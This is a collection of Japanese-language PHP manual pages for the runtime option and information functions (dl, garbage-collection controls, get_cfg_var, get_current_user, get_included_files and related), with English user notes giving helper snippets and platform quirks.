fabrizim at owlwatch dot com 03-May-2013 08:24
As noted in the documentation:

Changelog 5.3: dl() is now disabled in some SAPIs due to stability issues. The only SAPIs that allow dl() are CLI and Embed. Use the Extension Loading Directives instead.

If using PEAR libraries that try to load extensions, like Image_Transform which will try to load ImageMagik, and the "enable_dl" directive is set to 1 in your php.ini, you may end up with a hard to find error (white screen of death).

One "solution" is to change the enable_dl directive to 0 in the php.ini. It may have adverse affects if you are using php on command line that requires the "dl" function, but I think in most cases its okay.
Anonymous 04-Dec-2010 10:36
this function errors out as the dl() cannot take the absolute path..."Warning: dl() [function.dl]: Temporary module name should contain only filename in /home/..."
shaunspiller at spammenot-gmail dot com 29-Jan-2009 12:34
dl is awkward because the filename format is OS-dependent and because it can complain if the extension is already loaded. This wrapper function fixes that:

<?php

function load_lib($n, $f = null) {
    return extension_loaded($n) or dl(((PHP_SHLIB_SUFFIX === 'dll') ? 'php_' : '') . ($f ? $f : $n) . '.' . PHP_SHLIB_SUFFIX);
}

?>

Examples:

<?php

// ensure we have SSL and MySQL support
load_lib('openssl');
load_lib('mysql');

// a rare few extensions have a different filename to their extension name, such as the image (gd) library, so we specify them like this:
load_lib('gd', 'gd2');

?>
mag_2000 at front dot ru 06-Dec-2005 11:13
<?php

function dl_local( $extensionFile ) {
   //make sure that we are ABLE to load libraries
   if( !(bool)ini_get( "enable_dl" ) || (bool)ini_get( "safe_mode" ) ) {
     die( "dh_local(): Loading extensions is not permitted.\n" );
   }

     //check to make sure the file exists
   if( !file_exists( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' does not exist.\n" );
   }

   //check the file permissions
   if( !is_executable( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' is not executable.\n" );
   }

 //we figure out the path
 $currentDir = getcwd() . "/";
 $currentExtPath = ini_get( "extension_dir" );
 $subDirs = preg_match_all( "/\//" , $currentExtPath , $matches );
 unset( $matches );

     //lets make sure we extracted a valid extension path
   if( !(bool)$subDirs ) {
     die( "dl_local(): Could not determine a valid extension path [extension_dir].\n" );
   }

 $extPathLastChar = strlen( $currentExtPath ) - 1;

   if( $extPathLastChar == strrpos( $currentExtPath , "/" ) ) {
     $subDirs--;
   }

 $backDirStr = "";
     for( $i = 1; $i <= $subDirs; $i++ ) {
     $backDirStr .= "..";
       if( $i != $subDirs ) {
         $backDirStr .= "/";
       }
   }

 //construct the final path to load
 $finalExtPath = $backDirStr . $currentDir . $extensionFile;

   //now we execute dl() to actually load the module
     if( !dl( $finalExtPath ) ) {
     die();
   }

 //if the module was loaded correctly, we must bow grab the module name
 $loadedExtensions = get_loaded_extensions();
 $thisExtName = $loadedExtensions[ sizeof( $loadedExtensions ) - 1 ];

 //lastly, we return the extension name
  return $thisExtName;

}//end dl_local()

?>
endofyourself at yahoo dot com 18-Oct-2003 04:12
If you need to load an extension from the CURRENT local directory because you do not have privelages to place the extension in your servers PHP extensions directory, this function i wrote may be of use to you

<?php
/*
    Function: dl_local()
    Reference: http://us2.php.net/manual/en/function.dl.php
    Author: Brendon Crawford <endofyourself |AT| yahoo>
    Usage: dl_local( "mylib.so" );
    Returns: Extension Name (NOT the extension filename however)
    NOTE:
        This function can be used when you need to load a PHP extension (module,shared object,etc..),
        but you do not have sufficient privelages to place the extension in the proper directory where it can be loaded. This function
        will load the extension from the CURRENT WORKING DIRECTORY only.
        If you need to see which functions are available within a certain extension,
        use "get_extension_funcs()". Documentation for this can be found at
        "http://us2.php.net/manual/en/function.get-extension-funcs.php".
*/

function dl_local( $extensionFile ) {
    //make sure that we are ABLE to load libraries
    if( !(bool)ini_get( "enable_dl" ) || (bool)ini_get( "safe_mode" ) ) {
     die( "dh_local(): Loading extensions is not permitted.\n" );
    }

     //check to make sure the file exists
    if( !file_exists( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' does not exist.\n" );
    }

    //check the file permissions
    if( !is_executable( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' is not executable.\n" );
    }

 //we figure out the path
 $currentDir = getcwd() . "/";
 $currentExtPath = ini_get( "extension_dir" );
 $subDirs = preg_match_all( "/\//" , $currentExtPath , $matches );
 unset( $matches );

     //lets make sure we extracted a valid extension path
    if( !(bool)$subDirs ) {
     die( "dl_local(): Could not determine a valid extension path [extension_dir].\n" );
    }

 $extPathLastChar = strlen( $currentExtPath ) - 1;

    if( $extPathLastChar == strrpos( $currentExtPath , "/" ) ) {
     $subDirs--;
    }

 $backDirStr = "";
     for( $i = 1; $i <= $subDirs; $i++ ) {
     $backDirStr .= "..";
        if( $i != $subDirs ) {
         $backDirStr .= "/";
        }
    }

 //construct the final path to load
 $finalExtPath = $backDirStr . $currentDir . $extensionFile;

    //now we execute dl() to actually load the module
     if( !dl( $finalExtPath ) ) {
     die();
    }

 //if the module was loaded correctly, we must bow grab the module name
 $loadedExtensions = get_loaded_extensions();
 $thisExtName = $loadedExtensions[ sizeof( $loadedExtensions ) - 1 ];

 //lastly, we return the extension name
  return $thisExtName;

}//end dl_local()

?>


ある拡張機能がロードされているかどうかを調べる

  • ≪ dl
  • gc_collect_cycles ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • ある拡張機能がロードされているかどうかを調べる

extension_loaded

(PHP 4, PHP 5, PHP 7, PHP 8)

extension_loaded — ある拡張機能がロードされているかどうかを調べる

説明

extension_loaded ( string $name ) : bool

拡張モジュールがロードされているかどうかを調べます。

パラメータ

name

拡張モジュールの名前。大文字小文字を区別します。

phpinfo()を使って種々の拡張モジュールの 名前を見ることができます。PHP の CGIまたはCLIバージョン を使っている場合には -m スイッチで、 使用できる全ての拡張モジュールのリストを得ることができます:

$ php -m
[PHP Modules]
xml
tokenizer
standard
sockets
session
posix
pcre
overload
mysql
mbstring
ctype

[Zend Modules]

返り値

name で指定する拡張機能がロードされている場合に true を返します。さもなければ false を返します。

例

例1 extension_loaded() の例

<?php
if (!extension_loaded('gd')) {
    if (!dl('gd.so')) {
        exit;
    }
}
?>

参考

  • get_loaded_extensions() - コンパイル/ロードされている全てのモジュールの名前を配列として返す
  • get_extension_funcs() - あるモジュールの関数名を配列として返す
  • phpinfo() - PHP の設定情報を出力する
  • dl() - 実行時に PHP 拡張モジュールをロードする
  • function_exists() - 指定した関数が定義されている場合に true を返す

User Contributed Notes

There are no user contributed notes for this page.


すべての既存ガベージサイクルを強制的に収集する

  • ≪ extension_loaded
  • gc_disable ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • すべての既存ガベージサイクルを強制的に収集する

gc_collect_cycles

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gc_collect_cycles — すべての既存ガベージサイクルを強制的に収集する

説明

gc_collect_cycles ( ) : int

すべての既存ガベージサイクルを強制的に収集します。

パラメータ

この関数にはパラメータはありません。

返り値

収集したサイクルの数を返します。

参考

  • ガベージコレクション

User Contributed Notes

Mason 07-Sep-2011 04:22
(Since this function wasn't documented as of the date I left this note...)

If you came here looking for documentation, allow me to point you instead to a section in the user manual about garbage collection that includes a bit at the end about when you would use this feature and what it will actually do: http://php.net/manual/en/features.gc.collecting-cycles.php

Hope it helps!


循環参照コレクタを無効にする

  • ≪ gc_collect_cycles
  • gc_enable ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 循環参照コレクタを無効にする

gc_disable

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gc_disable — 循環参照コレクタを無効にする

説明

gc_disable ( ) : void

zend.enable_gc を 0 に設定して、循環参照コレクタを無効にします。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • ガベージコレクション

User Contributed Notes

Lev Kitsis 02-Dec-2014 05:55
Can be very useful for big projects, when you create a lot of objects that should stay in memory. So GC can't clean them up and just wasting CPU time.

Issue in composer:
https://github.com/composer/composer/pull/3482#issuecomment-65199153

Solution and people replies:
https://github.com/composer/composer/commit/ac676f47f7bbc619678a29deae097b6b0710b799


循環参照コレクタを有効にする

  • ≪ gc_disable
  • gc_enabled ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 循環参照コレクタを有効にする

gc_enable

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gc_enable — 循環参照コレクタを有効にする

説明

gc_enable ( ) : void

zend.enable_gc を 1 に設定して、循環参照コレクタを有効にします。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • ガベージコレクション

User Contributed Notes

There are no user contributed notes for this page.


循環参照コレクタの状態を返す

  • ≪ gc_enable
  • gc_mem_caches ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 循環参照コレクタの状態を返す

gc_enabled

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gc_enabled — 循環参照コレクタの状態を返す

説明

gc_enabled ( ) : bool

循環参照コレクタの状態を返します。

パラメータ

この関数にはパラメータはありません。

返り値

ガベージコレクタが有効な場合に true、そうでない場合に false を返します。

例

例1 gc_enabled() の例

<?php
if(gc_enabled()) gc_collect_cycles();
?>

参考

  • ガベージコレクション

User Contributed Notes

Anonymous 02-Jul-2009 11:48
If I understand correctly, the php.ini parameter zend.enable_gc (see http://www.php.net/manual/en/info.configuration.php) determines whether garbage collection is enabled:

<?php

var_dump(gc_enabled());
ini_set('zend.enable_gc', 0);
var_dump(gc_enabled());

?>

In PHP 5.3.0 this prints:

bool(true)
bool(false)

Oh, and of course gc_enable() and gc_disable() turn on or off the collection of garbage.


Zend Engine のメモリーマネージャによって使用されたメモリーを再利用する

  • ≪ gc_enabled
  • gc_status ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • Zend Engine のメモリーマネージャによって使用されたメモリーを再利用する

gc_mem_caches

(PHP 7, PHP 8)

gc_mem_caches — Zend Engine のメモリーマネージャによって使用されたメモリーを再利用する

説明

gc_mem_caches ( ) : int

Zend Engine のメモリーマネージャによって使用されたメモリーを再利用します。

パラメータ

この関数にはパラメータはありません。

返り値

解放されたバイト数を返します。

参考

  • ガベージコレクション

User Contributed Notes

There are no user contributed notes for this page.


ガベージコレクタに関する情報を取得する

  • ≪ gc_mem_caches
  • get_cfg_var ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • ガベージコレクタに関する情報を取得する

gc_status

(PHP 7 >= 7.3.0, PHP 8)

gc_status — ガベージコレクタに関する情報を取得する

説明

gc_status ( ) : array

ガベージコレクタの現在の状態に関する情報を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

次の要素を持つ連想配列を返します:

  • "runs"
  • "collected"
  • "threshold"
  • "roots"

例

例1 gc_status() の使い方

<?php

// create object tree that needs gc collection
$a = new stdClass();
$a->b = [];
for ($i = 0; $i < 100000; $i++) {
    $b = new stdClass();
    $b->a = $a;
    $a->b[] = $b;
}
unset($a);
unset($b);
gc_collect_cycles();

var_dump(gc_status());

上の例の出力は、 たとえば以下のようになります。

array(4) {
  ["runs"]=>
  int(5)
  ["collected"]=>
  int(100002)
  ["threshold"]=>
  int(50001)
  ["roots"]=>
  int(0)
}

参考

  • ガベージコレクション

User Contributed Notes

There are no user contributed notes for this page.


PHP 設定オプションの値を取得する

  • ≪ gc_status
  • get_current_user ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • PHP 設定オプションの値を取得する

get_cfg_var

(PHP 4, PHP 5, PHP 7, PHP 8)

get_cfg_var — PHP 設定オプションの値を取得する

説明

get_cfg_var ( string $option ) : string|array|false

PHP の設定オプション option の値を取得します。

この関数は、 PHP がコンパイルされた際にセットされた設定情報や Apache の設定ファイルから読んだ設定情報は返しません。

システムが 設定ファイル を使用しているかどうかを確認するには、cfg_file_path の設定値を取得してみてください。 この値が利用可能なら、設定ファイルが使用されています。

パラメータ

option

設定オプションの名前。

返り値

option で指定された PHP 設定オプションの現在の値を返し、 エラーの場合は false を返します。

参考

  • ini_get() - 設定オプションの値を得る
  • ini_get_all() - すべての設定オプションを得る

User Contributed Notes

sinus at sinpi dot net 27-Jan-2020 02:54
Boolean-like values are evaluated as follows: "true", "on", "yes" evaluate to "1" (string 1), while "false", "off", "no" evaluate to "" (empty string).
tbrix13 at uzitech dot com 26-Jun-2014 08:39
keep in mind get_cfg_var() returns a string(1) '1' for the value: On

<?php
//in php.ini
//A = On

$A1 = get_cfg_var("A") === "On";
$A2 = get_cfg_var("A") === 1;
$A3 = get_cfg_var("A") === "1";

//$A1 is false
//$A2 is false
//$A3 is true
?>
techno dot rahul1988 at gmail dot com 08-May-2014 07:38
The difference between ini_get() and get_cfg_var() is as follows:
@) ini_get(): returns the current value in .htaccess or as defined in PHP_INI_USER or PHP_INI_PERDIR
@) get_cfg_var: returns the values defined in the php.ini
gabriel b 25-Apr-2013 06:22
settings with the value of 'yes' will be returned as '1'.

<?php
//#my ini file
//A = 1
//B = any-thing
//C = yes
//D = /some/path/file

get_cfg_var('A') // returns '1'
get_cfg_var('B') // returns 'any-thing'
get_cfg_var('C') // returns '1', wait, why?
get_cfg_var('D') // returns '/some/path/file'
?>

I had my setting = yes and then checked it as ==="yes" for epic fail.
Stephen 10-Jan-2007 11:21
Regarding the statement by the earlier poster that:

"Unfortunately, you almost never want to know the original value in the config file. Instead, you want to know the value currently in effect."

I have found this useful for changing the error reporting levels for a few specific pages while testing. I turn on all error_reporting while testing, but for a few pages I want to turn off notices. So, I put this at the top of the page:

<?php
error_reporting(8183);
?>

and this at the bottom:

<?php
error_reporting(get_cfg_var('error_reporting'));
?>

to put it back to whatever default I had at the time.
surfchen at gmail dot com 04-Sep-2006 07:00
get_cfg_var returns the value from php.ini directly,while the ini_get returns   the runtime config value. I have tried it on PHP 5.1.6

[EDIT by danbrown AT php DOT net: The author of this note means that ini_get() will return values set by ini_set(), .htaccess, a local php.ini file, and other functions at runtime.  Conversely, get_cfg_var() will return strictly the server php.ini.]


現在の PHP スクリプトの所有者の名前を取得する

  • ≪ get_cfg_var
  • get_defined_constants ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 現在の PHP スクリプトの所有者の名前を取得する

get_current_user

(PHP 4, PHP 5, PHP 7, PHP 8)

get_current_user — 現在の PHP スクリプトの所有者の名前を取得する

説明

get_current_user ( ) : string

現在の PHP スクリプトの所有者の名前を返します。

返り値

ユーザー名を表す文字列。

例

例1 get_current_user() の例

<?php
echo 'Current script owner: ' . get_current_user();
?>

上の例の出力は、 たとえば以下のようになります。

Current script owner: SYSTEM

参考

  • getmyuid() - PHP スクリプト所有者のユーザー ID を取得する
  • getmygid() - PHP スクリプトの所有者の GID を得る
  • getmypid() - PHP のプロセス ID を取得する
  • getmyinode() - 現在のスクリプトの inode を取得する
  • getlastmod() - 最終更新時刻を取得する

User Contributed Notes

chris at ocproducts dot com 03-Mar-2020 07:37
Further testing of behaviour on Windows vs Linux...

On Linux this function is indeed returning the owner of the script. If you want to know the username PHP is running as you can use POSIX functions (or shell_exec with 'whoami').

On Windows this function is returning the username PHP is running as. Both for IIS (IUSR) and Apache (SYSTEM - which comes from the fact Apache is a service on Windows).

The behaviour on Windows is actually useful given that POSIX functions aren't available. If you need to find the owner of the script on Windows perhaps the best way is to shell_exec to use dir /Q, and parse that.
Anonymous 15-Aug-2016 06:51
If you have userdir enabled, get_current_user() returns the username of the user hosting the public_html. For example, http://example.com/~bobevans/somescript.php will return bobevans when calling get_current_user().
login dot naitsirch at arcor dot de 02-Jul-2015 08:52
If you want to get the name of the user who executes the current PHP script, you can use

<?php
$username = getenv('USERNAME') ?: getenv('USER');
echo $username; // e.g. root or www-data
?>
nick at little-apps dot org 21-Aug-2013 05:06
Since this only returns the file owner and not the actual user running the script, an alternative in Linux is:

<?php
$current_user = trim(shell_exec('whoami'));
?>
south dot bucks at gmail dot com 29-Aug-2012 02:01
On Centos, the Red Hat linux clone, this instruction gives the file's OWNER (the first parameter in instruction 'chown').  It does not reveal the file's GROUP.

get_current_user()  does NOT reveal the current process' user's identity.

See:  posix_getuid() - Return the real user ID of the current process
s dot bond1 at lse dot ac dot uk 10-May-2007 05:17
The information returned by get_current_user() seems to depend on the platform.

Using PHP 5.1.1 running as CGI with IIS 5.0 on Windows NT, get_current_user() returns the owner of the process running the script, *not* the owner of the script itself.

It's easy to test - create a file containing:

<?php
    echo get_current_user();
?>

Then access it through the browser. I get: IUSR_MACHINE, the Internet Guest Account on Windows, which is certainly not the owner of the script.
justin samuel 08-Oct-2005 11:45
to get the username of the process owner (rather than the file owner), you can use:

<?php
$processUser = posix_getpwuid(posix_geteuid());
print $processUser['name'];
?>


すべての定数の名前とその値を連想配列として返す

  • ≪ get_current_user
  • get_extension_funcs ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • すべての定数の名前とその値を連想配列として返す

get_defined_constants

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

get_defined_constants — すべての定数の名前とその値を連想配列として返す

説明

get_defined_constants ( bool $categorize = false ) : array

現在定義されている全ての定数の名前と値を返します。返される値には、 拡張モジュールにより作成された定数や define() 関数で作成された定数も含まれます。

パラメータ

categorize

これを渡すと、この関数は多次元の配列を返すようになります。 最初の次元のキーがカテゴリとなり、 そのカテゴリ内の定数とその値が下位レベルに格納されます。

<?php
define("MY_CONSTANT", 1);
print_r(get_defined_constants(true));
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [Core] => Array
        (
            [E_ERROR] => 1
            [E_WARNING] => 2
            [E_PARSE] => 4
            [E_NOTICE] => 8
            [E_CORE_ERROR] => 16
            [E_CORE_WARNING] => 32
            [E_COMPILE_ERROR] => 64
            [E_COMPILE_WARNING] => 128
            [E_USER_ERROR] => 256
            [E_USER_WARNING] => 512
            [E_USER_NOTICE] => 1024
            [E_ALL] => 2047
            [TRUE] => 1
        )

    [pcre] => Array
        (
            [PREG_PATTERN_ORDER] => 1
            [PREG_SET_ORDER] => 2
            [PREG_OFFSET_CAPTURE] => 256
            [PREG_SPLIT_NO_EMPTY] => 1
            [PREG_SPLIT_DELIM_CAPTURE] => 2
            [PREG_SPLIT_OFFSET_CAPTURE] => 4
            [PREG_GREP_INVERT] => 1
        )

    [user] => Array
        (
            [MY_CONSTANT] => 1
        )

)

返り値

定数名 => 定数値 の配列の配列を返します。 オプションで、その定数を定義している拡張モジュール名ごとにグループ化することもできます。

例

例1 get_defined_constants() の例

<?php
print_r(get_defined_constants());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [E_ERROR] => 1
    [E_WARNING] => 2
    [E_PARSE] => 4
    [E_NOTICE] => 8
    [E_CORE_ERROR] => 16
    [E_CORE_WARNING] => 32
    [E_COMPILE_ERROR] => 64
    [E_COMPILE_WARNING] => 128
    [E_USER_ERROR] => 256
    [E_USER_WARNING] => 512
    [E_USER_NOTICE] => 1024
    [E_ALL] => 2047
    [TRUE] => 1
)

参考

  • defined() - 指定した名前の定数が存在するかどうかを調べる
  • get_loaded_extensions() - コンパイル/ロードされている全てのモジュールの名前を配列として返す
  • get_defined_functions() - 定義済みの全ての関数を配列で返す
  • get_defined_vars() - 全ての定義済の変数を配列で返す

User Contributed Notes

R4FC0R3 16-Feb-2018 06:14
If you want to access directly on one category, just use:

<?php

print_r(get_defined_constants(true)['Core']);

?>

you can replace 'Core' by the category you wish (e.g. user):

<?php

print_r(get_defined_constants(true)['user']);

?>

Warning: only use this on development side
Bob 07-Aug-2008 09:50
Add this method to your class definition if you want an array of class constants (get_defined_constants doesn't work with class constants as Peter P said above):

<?php
public function get_class_constants()
{
    $reflect = new ReflectionClass(get_class($this));
    return $reflect->getConstants());
}
?>

You could also override stdObject with it so that all your classes  have this method
05-Jan-2006 11:29
If you want to filter through and return only the prefix for your constants (i.e. you have constants with a naming scheme), then you can use this quick little function. It comes in handy for debugging.

<?php
function returnConstants ($prefix) {
    foreach (get_defined_constants() as $key=>$value)
        if (substr($key,0,strlen($prefix))==$prefix)  $dump[$key] = $value;
    if(empty($dump)) { return "Error: No Constants found with prefix '".$prefix."'"; }
    else { return $dump; }
}
?>

Example:

<?php
define("SITENAME_OPTION_ONE",true);
define("SITENAME_OPTION_TWO",false);
define("SITENAME_URL","foo");

print_r(returnConstants("SITENAME_OPTION"));
?>

Will return:

Array
(
    [SITENAME_OPTIONONE] => 1
    [SITENAME_OPTIONTWO] =>
)
me at gogogadgetscott dot info 18-Jun-2005 11:14
<?php
/**
 * Convert constant value into string name.
 *
 * @param  mixed  Constant value.
 * @return string Constant name.
 * @access public
 */
function sch_get_consant($value)
{
    $constants = get_defined_constants();
    $name = array_search($value, $constants, TRUE);
    return $name;
}
?>


あるモジュールの関数名を配列として返す

  • ≪ get_defined_constants
  • get_include_path ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • あるモジュールの関数名を配列として返す

get_extension_funcs

(PHP 4, PHP 5, PHP 7, PHP 8)

get_extension_funcs — あるモジュールの関数名を配列として返す

説明

get_extension_funcs ( string $module_name ) : array

この関数は、module_name で示したモジュールで定義された全ての関数の名前を返します。

パラメータ

module_name

モジュール名。

注意:

このパラメータは 小文字 でなければなりません。

返り値

すべての関数を含む配列を返します。 module_name が拡張モジュールでない場合は false を返します。

例

例1 XML 関数の出力

<?php
print_r(get_extension_funcs("xml"));
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => xml_parser_create
    [1] => xml_parser_create_ns
    [2] => xml_set_object
    [3] => xml_set_element_handler
    [4] => xml_set_character_data_handler
    [5] => xml_set_processing_instruction_handler
    [6] => xml_set_default_handler
    [7] => xml_set_unparsed_entity_decl_handler
    [8] => xml_set_notation_decl_handler
    [9] => xml_set_external_entity_ref_handler
    [10] => xml_set_start_namespace_decl_handler
    [11] => xml_set_end_namespace_decl_handler
    [12] => xml_parse
    [13] => xml_parse_into_struct
    [14] => xml_get_error_code
    [15] => xml_error_string
    [16] => xml_get_current_line_number
    [17] => xml_get_current_column_number
    [18] => xml_get_current_byte_index
    [19] => xml_parser_free
    [20] => xml_parser_set_option
    [21] => xml_parser_get_option
    [22] => utf8_encode
    [23] => utf8_decode
)

参考

  • get_loaded_extensions() - コンパイル/ロードされている全てのモジュールの名前を配列として返す
  • ReflectionExtension::getFunctions() - 拡張モジュールの関数を取得する

User Contributed Notes

JM 05-Jun-2006 07:40
FALSE is returned if there are no functions in that extension.  For example, <?php get_extension_funcs("xmlreader"); ?> returns FALSE because that extension defines the XMLReader class but not functions.


現在の include_path 設定オプションを取得する

  • ≪ get_extension_funcs
  • get_included_files ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 現在の include_path 設定オプションを取得する

get_include_path

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

get_include_path — 現在の include_path 設定オプションを取得する

説明

get_include_path ( ) : string|false

現在の include_path 設定オプションを取得します。

返り値

パスを表す文字列を返します。 失敗した場合に false を返します

例

例1 get_include_path() の例

<?php
echo get_include_path();

// または ini_get を使用します
echo ini_get('include_path');
?>

参考

  • ini_get() - 設定オプションの値を得る
  • restore_include_path() - include_path 設定オプションの値を元に戻す
  • set_include_path() - include_path 設定オプションをセットする
  • include - include

User Contributed Notes

gtisza at gmail dot com 06-Feb-2013 04:27
If you are trying to find a file on your include path, there is a better way: http://php.net/manual/en/function.stream-resolve-include-path.php


include または require で読み込まれたファイルの名前を配列として返す

  • ≪ get_include_path
  • get_loaded_extensions ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • include または require で読み込まれたファイルの名前を配列として返す

get_included_files

(PHP 4, PHP 5, PHP 7, PHP 8)

get_included_files — include または require で読み込まれたファイルの名前を配列として返す

説明

get_included_files ( ) : array

この関数は、 include、include_once、 require あるいは require_once によりスクリプトにロードされたすべてのファイルの名前を取得します。

返り値

すべてのファイル名を含む配列を返します。

最初にコールされたスクリプトは "include されたファイル" という扱いに なります。そのため、 include やその仲間たちにより 読み込まれたファイルの一覧に含めて表示されます。

複数回読み込まれているファイルも、 返される配列には一度しかあらわれません。

例

例1 get_included_files() の例

<?php
// このファイルは abc.php です

include 'test1.php';
include_once 'test2.php';
require 'test3.php';
require_once 'test4.php';

$included_files = get_included_files();

foreach ($included_files as $filename) {
    echo "$filename\n";
}

?>

上の例の出力は以下となります。

/path/to/abc.php
/path/to/test1.php
/path/to/test2.php
/path/to/test3.php
/path/to/test4.php

参考

  • include - include
  • include_once - include_once
  • require - require
  • require_once - require_once
  • get_required_files() - get_included_files のエイリアス

User Contributed Notes

D 06-Jan-2020 12:15
It's perhaps not clear from the existing docs that the returned list contains nested include files as well.

That is, if A.php includes B.php, and B.php includes C.php, the result returned when calling get_included_files() from inside A.php WILL contain 'C.php'.
donikuntoro at integraasp dot com 29-Aug-2011 03:32
This function aims to perform filtering of files that have been included :

<?php
function setIncludeFiles($arrayInc = array()){
    $incFiles = get_included_files();
    if((count($arrayInc)>0)&&(count($incFiles)>0)){
        $aInt = array_intersect($arrayInc,$incFiles);
        if(count($aInt)>0){
            return false;
       }elseif(count($aInt)<1) {
        foreach($arrayInc as $inc){
            if(is_file($inc))
                include($inc);
            else{
                return false;
            }
        }
       }
    }else{
        return false;
    }
}
?>

Usage :

<?php
$toBeInclude = array('/data/your_include_files_1.php',
'/data/your_include_files_2.php',
'/data/your_include_files_3.php',
);
setIncludeFiles($toBeInclude);
?>

Return false if something goes wrong.
yarco dot w at gmail dot com 03-Jul-2007 08:27
If you have a MAIN php script which you don't want to be included by other scripts, you could use this function. For example:

main.php:
<?php
function blockit()
{
  $buf = get_included_files();
  return $buf[0] != __FILE__;
}

blockit() and exit("You can not include a MAIN file as a part of your script.");

print "OK";
?>

So other script couldn't include main.php to modify its internal global vars.
indigohaze at gmail dot com 28-Aug-2006 10:30
Something that's not noted in the docs, if a file is included remotely and you do a get_included_files() in the include itself it will *not* return the document that included it.

ie:
test2.php (server 192.168.1.14):
<?php

include("http://192.168.1.11/test/test3.php");

?>

test3.php (server 192.168.1.11):

<?php

$files = get_included_files();

print_r($files);
?>

returns:

Array ( [0] => /var/www/localhost/htdocs/test/test3.php )

Which means you can use get_included_files() to help intercept and prevent XSS-style attacks against your code.
RPaseur at NationalPres dot org 08-Mar-2006 08:04
As is often the case, YMMV.  I tried the __FILE__ and SCRIPT_FILENAME comparison and found this:

SCRIPT_FILENAME: /var/www/cgi-bin/php441
__FILE__: /raid/home/natpresch/natpresch/RAY_included.php

As an alternative:

count(get_included_files());

Gives one when the script is standalone and always more than one when the script is included.
keystorm :at: gmail dotcom 07-Sep-2004 02:08
As of PHP5, this function seems to return an array with the first index being the script all subsequent scripts are included to.
If index.php includes b.php and c.php and calls get_included_files(), the returned array looks as follows:

index.php
a.php
b.php

while in PHP<5 the array would be:

a.php
b.php

If you want to know which is the script that is including current script you can use $_SERVER['SCRIPT_FILENAME'] or any other similar server global.

If you also want to ensure current script is being included and not run independently you should evaluate following expression:

__FILE__ != $_SERVER['SCRIPT_FILENAME']

If this expression returns TRUE, current script is being included or required.


コンパイル/ロードされている全てのモジュールの名前を配列として返す

  • ≪ get_included_files
  • get_magic_quotes_gpc ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • コンパイル/ロードされている全てのモジュールの名前を配列として返す

get_loaded_extensions

(PHP 4, PHP 5, PHP 7, PHP 8)

get_loaded_extensions — コンパイル/ロードされている全てのモジュールの名前を配列として返す

説明

get_loaded_extensions ( bool $zend_extensions = false ) : array

この関数は、PHPインタプリタにコンパイル、 ロードされている全てのモジュールの名前を返します。

パラメータ

zend_extensions

Zend 拡張モジュールのみを返します。指定しない場合は、 mysqli のような通常の拡張モジュールを返します。デフォルトは false (通常の拡張モジュールを返す) です。

返り値

モジュール名の配列を返します。

例

例1 get_loaded_extensions() の例

<?php
print_r(get_loaded_extensions());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
   [0] => xml
   [1] => wddx
   [2] => standard
   [3] => session
   [4] => posix
   [5] => pgsql
   [6] => pcre
   [7] => gd
   [8] => ftp
   [9] => db
   [10] => calendar
   [11] => bcmath
)

参考

  • get_extension_funcs() - あるモジュールの関数名を配列として返す
  • extension_loaded() - ある拡張機能がロードされているかどうかを調べる
  • dl() - 実行時に PHP 拡張モジュールをロードする
  • phpinfo() - PHP の設定情報を出力する

User Contributed Notes

There are no user contributed notes for this page.


magic_quotes_gpc の現在の設定を得る

  • ≪ get_loaded_extensions
  • get_magic_quotes_runtime ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • magic_quotes_gpc の現在の設定を得る

get_magic_quotes_gpc

(PHP 4, PHP 5, PHP 7)

get_magic_quotes_gpc — magic_quotes_gpc の現在の設定を得る

警告

この関数は PHP 7.4.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

get_magic_quotes_gpc ( ) : bool

常に false を返します。

返り値

常に false を返します。

変更履歴

バージョン | 説明
7.4.0 | この関数は推奨されなくなりました。

参考

  • addslashes() - 文字列をスラッシュでクォートする
  • stripslashes() - クォートされた文字列のクォート部分を取り除く
  • get_magic_quotes_runtime() - magic_quotes_runtime の現在アクティブな設定値を取得する
  • ini_get() - 設定オプションの値を得る

User Contributed Notes

w3dk 06-May-2015 12:01
> "If the directive magic_quotes_sybase is ON it will completely override magic_quotes_gpc."

This "note" is a bit misleading. magic_quotes_sybase will only override the escaping method used on Get/Post/Cookie data if magic_quotes_gpc is already enabled. If magic_quotes_gpc is not enabled then magic_quotes_sybase will have no effect here.

A few of the other comments are therefore incorrect in determining when to "stripslashes" from the input, by "stripping slashes" when either magic_quotes_gpc OR magic_quotes_sybase is enabled. You should only stripslashes() when magic_quotes_gpc is enabled since that is the only time when slashes are automatically added.

stripslashes() is also magic_quotes_sybase aware, so you don't need to do anything special (ie. write a custom function to handle this situation as another comment suggests) when magic_quotes_sybase is enabled. When magic_quotes_sybase is enabled, stripslashes() does not actually strip any slashes, but instead unescapes single-quotes that are escaped with single-quotes only.

